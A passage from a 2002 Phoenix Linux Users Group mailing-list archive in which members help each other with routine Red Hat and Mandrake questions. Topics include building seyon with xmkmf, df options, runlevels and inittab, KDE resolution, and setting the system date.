where I can download this makefile generator utility? OR B) Can I build seyon without this utility, somehow using the Imakefile to generate a real makefile? Or are there other options to get seyon? Alan From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:23:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Thu, 13 Jun 2002 16:23:21 -0700 Subject: Building seyon. Where xmkmf? References: Message-ID: <3D092969.E0D26CCC@asu.edu> Are you sure it is not in: godber@hostname ~>locate xmkmf /usr/X11R6/bin/xmkmf /usr/X11R6/bin/mxmkmf Also, I sould just stick with minicom. Seyon isn't that great. Well, its always annoyed me. alandd@mindspring.com wrote: > > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? > > OR > > B) Can I build seyon without this utility, > somehow using the Imakefile to generate a real > makefile? > > Or are there other options to get seyon? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:30:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Thu, 13 Jun 2002 16:30:22 -0700 Subject: a df option question References: Message-ID: <3D092B0E.AB52DEF0@earthlink.net> And off my Mandrake 8.1 : [pete@rotor pete]$ df Filesystem 1k-blocks Used Available Use% Mounted on /dev/hda1 248964 119884 129080 49% / /dev/hda8 240928 34780 206148 15% /boot none 192212 0 192212 0% /dev/shm /dev/hda12 6152668 2826800 3325868 46% /home /dev/hda11 3622508 98152 3524356 3% /opt /dev/hda6 4176736 2013256 2163480 49% /usr /dev/hda7 329284 130696 198588 40% /var /dev/hda9 2273088 32840 2240248 2% /var/ftp /dev/hda10 2104408 42516 2061892 3% /var/www [pete@rotor pete]$ df -b df: invalid option -- b Try `df --help' for more information. [pete@rotor pete]$ df -B df: invalid option -- B Try `df --help' for more information. [pete@rotor pete]$ df -B MB df: invalid option -- B Try `df --help' for more information. [pete@rotor pete]$ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:34:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 13 Jun 2002 16:34:31 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: <3D092969.E0D26CCC@asu.edu> References: <3D092969.E0D26CCC@asu.edu> Message-ID: <200206131634.36948.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 13 June 2002 04:23 pm, Austin Godber wrote: > godber@hostname ~>locate xmkmf > /usr/X11R6/bin/xmkmf > /usr/X11R6/bin/mxmkmf To add a little information, it is part of the XFree86-devel package. (New user hint (for rpm-based systems): 'rpm -qf /usr/X11R6/bin/xmkmf') > Also, I sould just stick with minicom. Seyon isn't that great. Well, > its always annoyed me. I would have to agree with this. I found minicom to be quite excellent, while seyon was only good. However, note that with minicom you might have to configure both minicom and/or your terminal for things like backspaces, while seyon is on its own. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CSwLpNoctRtUIRQRAqHxAJ0YrNkADLkGTx+koWvQc/wmcWGuHACfZgDW +dinXOTxdDJKlJwom+sNMyI= =CF/g -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:36:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 13 Jun 2002 16:36:33 -0700 Subject: a df option question In-Reply-To: <3D092B0E.AB52DEF0@earthlink.net> References: <3D092B0E.AB52DEF0@earthlink.net> Message-ID: <200206131636.38755.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 13 June 2002 04:30 pm, mazdaracer wrote: > And off my Mandrake 8.1 : Maybe it is an extremely new feature. RedHat 7.3 has version 4.1 of fileutils, while Mandrake uses 4.1.5. Something to think about. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CSyFpNoctRtUIRQRAvDDAJ9kk3YPSh6gWTpW7C6pnzJfHRuXegCgkGqc DhV2Z3o2mrh20bGhF55PJ7U= =xgLh -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:36:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Thu, 13 Jun 2002 16:36:39 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: "Building seyon. Where xmkmf?" (Jun 13, 7:12pm) References: Message-ID: <1020613233634.ZM28535@localhost.localdomain> On Jun 13, 7:12pm, wrote: > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? xmkmf is in /usr/X11R6/bin/xmkmf If you don't have it on your Red Hat 7.3 system, install the XFree86-devel-4.2.0-8 RPM from CD. Kevin From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 00:08:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 13 Jun 2002 17:08:02 -0700 Subject: install fest suggestion In-Reply-To: References: Message-ID: <0206131708021R.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ahhhh . . . getting Linux installed on a box is just the start of the conspiracy. After they are hooked, we get them to PLUG meetings, get PLUG to do some training sessions, and from there, who knows ::grin:: On Thursday 13 June 2002 14:11, you wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. > > Anywhoo, it's something I wish I had. > > > "I've had a wonderful time, but this wasn't it." > -- Groucho Marx > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.PLUG.phoenix.az.us > [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of > Robert > A. Klahn > Sent: Thursday, June 13, 2002 11:54 AM > To: plug-discuss@lists.PLUG.phoenix.az.us > Subject: Re: install fest suggestion > > > I dont know if kernel compiling is a skill that every Linux user > needs > to know. An enormous amount can be done with most distributions > before > the point where one needs to know how is reached. > > Bash skills, however, are probably basic. It might be possible to get > by without, but I would not want to try. > > That being said, I think the suggestion, for both Bash and Kernel > Compiling, is a good one, given sufficient intrest. > > Bob. > > On Thu, 13 Jun 2002 12:30:28 -0700, > > plug-discuss-request@lists.plug.phoenix.az.us said: > > Message: 1 > > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > > From: Alpha Zenon Sanchez > > Subject: install fest suggestion > > To: plug-discuss@lists.plug.phoenix.az.us > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Hello Linux Users - > > > > I was wondering if anyone cared to give demonstrations > > on the proper way of compiling a Linux Kernel during > > the installfest (I'm looking forward to it btw). I'm > > starting get a 'feel' for Linux, and I've read > > HOW_TO's > > and various articles on compiling, but they're all > > different. I've downloaded articles from ZDNET and > > techrepublic as well. These articles say different > > things which would confuse a Linux beginner. > > > > My thinking is that some people that will show up at > > the intallfest are Linux 'newbies' and would jump at > > a chance to watch Linux users who have been doing this > > a while demonstrate some Linux skills. > > > > Besides Kernal compiling and basic bash commands, what > > else should a Linux user know? > > > > Thanks in advance > > > > -Alpha > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > - ----------------------------------------------------------- > Robert A. Klahn > robert@kint.org > AIM: rklahn > > "Hope has two beautiful daughters: Anger and Courage. Anger > at the way things are, and Courage to struggle to create > things as they should be." -- St. Augustine > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe > 5Vpx6BbsuwpAkB260jqD2rtE > =1uRs > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQkz4ysk3ywszI1FEQJWxgCfbnjqcojWriboqoliystJR1+FY6IAoIr7 zSNAjxxb/g1+YviYpKcqTAFV =Jdik -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 00:58:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 13 Jun 2002 17:58:52 -0700 Subject: Questions References: <0206131708021R.08309@nova.wedge.org> Message-ID: <007101c2133e$a6b0f430$6501a8c0@drghastly> First, very small note of pride, got my samba server running. Would have taken me a lot less time, if it hadn't been for the fact I was stupid and didn't realize you have to run SWAT as root....after that it was easy. On to my question. I'm trying to figure out how to change the desktop resolution in KDE with my RH7.3 I can see the settings for the X-Server, but I can't figure out how to change it..? Any help would be nice. I'll keep looking myself in the meantime. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 22:34:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 13 Jun 2002 15:34:59 -0700 Subject: East Side Meeting Today Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DDA@azmscorp01.corp.azms> Just curious is http://plug.phoenix.az.us/ down. I am trying to get directions to get out there for the meeting. Thanks. Larry -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Thursday, June 13, 2002 8:15 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: [PLUG-announce]East Side Meeting Tomorrow! Please, PLEASE remember: The subject line is wrong. The meeting is TODAY. Alan On Wed, 12 Jun 2002 14:00:20 -0400 plug-announce-admin@lists.PLUG.phoenix.az.us wrote: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 13 Jun 2002 18:32:10 -0700 (PDT) Subject: Questions In-Reply-To: <007101c2133e$a6b0f430$6501a8c0@drghastly> Message-ID: On Thu, 13 Jun 2002, Dr.G wrote: > On to my question. I'm trying to figure out how to change the desktop > resolution in KDE with my RH7.3 I can see the settings for the X-Server, but > I can't figure out how to change it..? Any help would be nice. I'll keep > looking myself in the meantime. The simplest way is to go to runlevel 3 and run Xconfigurator. Then choose the resolution you'd like and go back to runlevel 5. For example: init 3 Xconfigurator init 5 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:38:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 13 Jun 2002 18:38:18 -0700 Subject: Questions References: Message-ID: <007f01c21344$28c9c190$6501a8c0@drghastly> I assume by runlevel3 you mean my level of access? <----Noob. ----- Original Message ----- From: "Matt Alexander" To: Sent: Thursday, June 13, 2002 6:32 PM Subject: Re: Questions > On Thu, 13 Jun 2002, Dr.G wrote: > > > On to my question. I'm trying to figure out how to change the desktop > > resolution in KDE with my RH7.3 I can see the settings for the X-Server, but > > I can't figure out how to change it..? Any help would be nice. I'll keep > > looking myself in the meantime. > > The simplest way is to go to runlevel 3 and run Xconfigurator. Then > choose the resolution you'd like and go back to runlevel 5. For example: > > init 3 > Xconfigurator > init 5 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:53:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 13 Jun 2002 18:53:54 -0700 (PDT) Subject: Questions In-Reply-To: <007f01c21344$28c9c190$6501a8c0@drghastly> Message-ID: On Thu, 13 Jun 2002, Dr.G wrote: > I assume by runlevel3 you mean my level of access? <----Noob. When your system boots up it consults /etc/inittab to find the default runlevel. Your inittab most likely has this line: id:5:initdefault: This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains aliases to the scripts that will be executed at this runlevel. You'll also see a line like this: x:5:respawn:/etc/X11/prefdm -nodaemon This line tells your box to run the X Window System at runlevel 5. You'll also see other lines for tty's, etc. So, by changing to runlevel 3, you're exiting out of the GUI environment. If you wanted to run your box without the GUI, you could change the initdefault to 3 and always boot to a console (I do this for all of my servers). Level 6 means reboot, so if you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. Init 1 is single-user mode. The other runlevels can be defined for whatever purpose you'd like. Consult the inittab manpage for more detail. ~M From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 03:55:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 13 Jun 2002 23:55:27 -0400 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <3D09692F.D6EC07DC@georgetoft.com> There is an article in SysAdmin magazine that covers this topic in great detail, including code. George James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, > > James > james@vartek-corp.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 03:57:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 13 Jun 2002 23:57:32 -0400 Subject: a df option question References: <15624.56702.739725.690008@bela.interhack.net> <0206131135441H.08309@nova.wedge.org> Message-ID: <3D0969AC.AB8D9AF4@georgetoft.com> df -B is not valid on my system (SuSE), and the man page is copyright 2001. George Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > - From a man df | more on my M8.0 system: > > DF(1) FSF DF(1) > > NAME > df - report filesystem disk space usage > > SYNOPSIS > df [OPTION]... [FILE]... > > DESCRIPTION > This manual page documents the GNU version of df. df dis­ > plays the amount of disk space available on the filesystem > containing each file name argument. If no file name is > given, the space available on all currently mounted > filesystems is shown. Disk space is shown in 1K blocks by > default, unless the environment variable POSIXLY_CORRECT > is set, in which case 512-byte blocks are used. > > If an argument is the absolute file name of a disk device > node containing a mounted filesystem, df shows the space > available on that filesystem rather than on the filesystem > containing the device node (which is always the root > filesystem). This version of df cannot show the space > available on unmounted filesystems, because on most kinds > of systems doing so requires very nonportable intimate > knowledge of filesystem structures. > > OPTIONS > Show information about the filesystem on which each FILE > resides, or all filesystems by default. > > -a, --all > include filesystems having 0 blocks > > --block-size=SIZE use SIZE-byte blocks > > -h, --human-readable > print sizes in human readable format (e.g., 1K 234M > 2G) > > -H, --si > likewise, but use powers of 1000 not 1024 > > -i, --inodes > list inode information instead of block usage > > -k, --kilobytes > like --block-size=1024 > > -l, --local > limit listing to local filesystems > > -m, --megabytes > like --block-size=1048576 > > --no-sync > do not invoke sync before getting usage info > > GNU fileutils 4.0p March 2001 1 > > DF(1) FSF DF(1) > > (default) > > -P, --portability > use the POSIX output format > > --sync invoke sync before getting usage info > > -t, --type=TYPE > limit listing to filesystems of type TYPE > > -T, --print-type > print filesystem type > > -x, --exclude-type=TYPE > limit listing to filesystems not of type TYPE > > -v (ignored) > > --help display this help and exit > > --version > output version information and exit > > AUTHOR > Written by Torbjorn Granlund, David MacKenzie, Larry > McVoy, and Paul Eggert. > > REPORTING BUGS > Report bugs to . > > COPYRIGHT > Copyright © 1999 Free Software Foundation, Inc. > This is free software; see the source for copying condi­ > tions. There is NO warranty; not even for MERCHANTABILITY > or FITNESS FOR A PARTICULAR PURPOSE. > > SEE ALSO > The full documentation for df is maintained as a Texinfo > manual. If the info and df programs are properly > installed at your site, the command > > info df > > should give you access to the complete manual. > > > > > > > > > > > > > > GNU fileutils 4.0p March 2001 2 > > On Thursday 13 June 2002 10:59, you wrote: > > I have a couple of students using Mandrake on laptops > > who reported to me that df -B MB is a valid option for > > df on their system. They even supply output showing > > what it does. > > > > I've never heard of such an option in any version of > > Unix I've ever used. Mandrake is based on Red Hat, > > which uses the GNU tools for all the most standard > > utilities, right? > > > > Does anyone know anything about this? I'd love to see a > > df(1) man page off a Mandrake system. > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQjmASsk3ywszI1FEQKTegCgyXj0F6+6Bc29dx+aH1bDhvlxNAgAoLT+ > MxUCeon0WFV3/XhcIozPbBZI > =mVT7 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 06:40:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Thu, 13 Jun 2002 23:40:01 -0700 Subject: stupid boot question Message-ID: <3D098FC1.219639AA@leml.asu.edu> Got an old box that I installed a new version of RH on... The monitor def is off and I need to: 1) force it to boot ascii, and 2) where does one turn on/*off* the graphical login? thanks, EBo -- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 07:18:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 14 Jun 2002 00:18:13 -0700 Subject: stupid boot question In-Reply-To: <3D098FC1.219639AA@leml.asu.edu> References: <3D098FC1.219639AA@leml.asu.edu> Message-ID: <1024039093.28780.2.camel@barney.azapple.com> On Thu, 2002-06-13 at 23:40, John (EBo) David wrote: > > Got an old box that I installed a new version of RH on... The monitor > def is off and I need to: > > 1) force it to boot ascii, and > 2) where does one turn on/*off* the graphical login? > ---- edit one of the lines in grub before booting - or control-X in lilo and tell it 'linux 3' or boot as normal - press Control-Alt-2 to get a text console login - tell it runlevel 3. change /etc/inittab to be run level 3 as default if desired Craig From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 12:13:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Fri, 14 Jun 2002 05:13:33 -0700 (MST) Subject: stupid boot question In-Reply-To: <3D098FC1.219639AA@leml.asu.edu> Message-ID: To permanently change the run level: /etc/inittab # Default runlevel. The runlevels used by RHS are: # 0 - halt (Do NOT set initdefault to this) # 1 - Single user mode # 2 - Multiuser, without NFS (The same as 3, if you do not have networking) # 3 - Full multiuser mode # 4 - unused # 5 - X11 # 6 - reboot (Do NOT set initdefault to this) # id:5:initdefault: -- change id:5:initdefault: -- to be: id:3:initdefault: (don't mess with the other entries in this file, you'll be sorry if you do!) "or boot as normal - press Control-Alt-2 to get a text console login - tell it runlevel 3." --- as the root user, run this command: init 3 You'll see several of the same startup commands run as you would see during a normal boot, when finished, the display will be at the text login. If the X configuration is so far off that after boot you can't make out what is on the screen, no sweat. Just wait long enough that you are sure it's completely booted, press and hold the Control and the Alt keys, while holding these, press the F1 key... you'll get a text login screen. -------------------------------------------- On Thu, 13 Jun 2002, John (EBo) David wrote: Got an old box that I installed a new version of RH on... The monitor def is off and I need to: 1) force it to boot ascii, and 2) where does one turn on/*off* the graphical login? thanks, EBo -- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 13:19:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 14 Jun 2002 09:19:55 -0400 Subject: Building seyon. Where xmkmf? Message-ID: Wouldn't you know it, the two computers I looked on to find the file, don't have any of the development packages installed. And I am the one that configured the systems without development stuff (face red). Thanks all. Alan On Thu, 13 Jun 2002 16:36:39 -0700 Kevin Buettner wrote: On Jun 13, 7:12pm, wrote: > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? xmkmf is in /usr/X11R6/bin/xmkmf If you don't have it on your Red Hat 7.3 system, install the XFree86-devel-4.2.0-8 RPM from CD. Kevin ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:55:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 16:55:59 -0400 (EDT) Subject: install fest suggestion In-Reply-To: Message-ID: This one was just published on Linux Newbie. First glance looks pretty good, and nicely formatted for print right from Mozilla. Maybe could contact the author about doing reprints for the install fest. http://linux.org.mt/article/terminal On Thu, 13 Jun 2002, Matt Wyant wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. > > Anywhoo, it's something I wish I had. > > > "I've had a wonderful time, but this wasn't it." > -- Groucho Marx > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.PLUG.phoenix.az.us > [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of > Robert > A. Klahn > Sent: Thursday, June 13, 2002 11:54 AM > To: plug-discuss@lists.PLUG.phoenix.az.us > Subject: Re: install fest suggestion > > > I dont know if kernel compiling is a skill that every Linux user > needs > to know. An enormous amount can be done with most distributions > before > the point where one needs to know how is reached. > > Bash skills, however, are probably basic. It might be possible to get > by without, but I would not want to try. > > That being said, I think the suggestion, for both Bash and Kernel > Compiling, is a good one, given sufficient intrest. > > Bob. > > On Thu, 13 Jun 2002 12:30:28 -0700, > plug-discuss-request@lists.plug.phoenix.az.us said: > > > Message: 1 > > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > > From: Alpha Zenon Sanchez > > Subject: install fest suggestion > > To: plug-discuss@lists.plug.phoenix.az.us > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Hello Linux Users - > > > > I was wondering if anyone cared to give demonstrations > > on the proper way of compiling a Linux Kernel during > > the installfest (I'm looking forward to it btw). I'm > > starting get a 'feel' for Linux, and I've read > > HOW_TO's > > and various articles on compiling, but they're all > > different. I've downloaded articles from ZDNET and > > techrepublic as well. These articles say different > > things which would confuse a Linux beginner. > > > > My thinking is that some people that will show up at > > the intallfest are Linux 'newbies' and would jump at > > a chance to watch Linux users who have been doing this > > a while demonstrate some Linux skills. > > > > Besides Kernal compiling and basic bash commands, what > > else should a Linux user know? > > > > Thanks in advance > > > > -Alpha > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > > > - ----------------------------------------------------------- > Robert A. Klahn > robert@kint.org > AIM: rklahn > > "Hope has two beautiful daughters: Anger and Courage. Anger > at the way things are, and Courage to struggle to create > things as they should be." -- St. Augustine > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe > 5Vpx6BbsuwpAkB260jqD2rtE > =1uRs > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "What can Americans do to stay safe after these attacks?" "Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:27:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 14 Jun 2002 08:27:19 -0700 Subject: mp3 Message-ID: <1024068440.29657.68.camel@hawk> Okay what are you guys (and gals) using to burn mp3 discs? X-CD-Roast seems to only want to burn .wav formats (I may be missing a setting). And cdrecord is giving me an error. I want to start playing with my DVD / mp3 player. Only I don't have any disc actually burned with mp3s. So any help here? Carl P. From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:24:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: 14 Jun 2002 08:24:59 -0700 Subject: Date??? Message-ID: <1024068299.29445.63.camel@hawk> Okay how does one change the time on your system from the command line? I've been using rdate for this only now I can't so I thought I'd just use date and I can't get it to work. Should I be using something else? Carl P. (P.S is my charter set coming though alright on this one?). From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 15:44:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 14 Jun 2002 08:44:20 -0700 Subject: Date??? In-Reply-To: <1024068299.29445.63.camel@hawk> Message-ID: <200206141545.LAA31570@hostinworld6.com> Date does have the -s option for setting the time but I've never used it. Check the man page. Date, in DOS, would set the date and time for you automatically. Also, I never had any problems with your character set. I'm using Evolution 0.9. -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net On 14 Jun 2002 08:24:59 -0700, Carl Parrish wrote: > Okay how does one change the time on your system from the command line? > I've been using rdate for this only now I can't so I thought I'd just > use date and I can't get it to work. Should I be using something else? > > Carl P. > (P.S is my charter set coming though alright on this one?). > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - 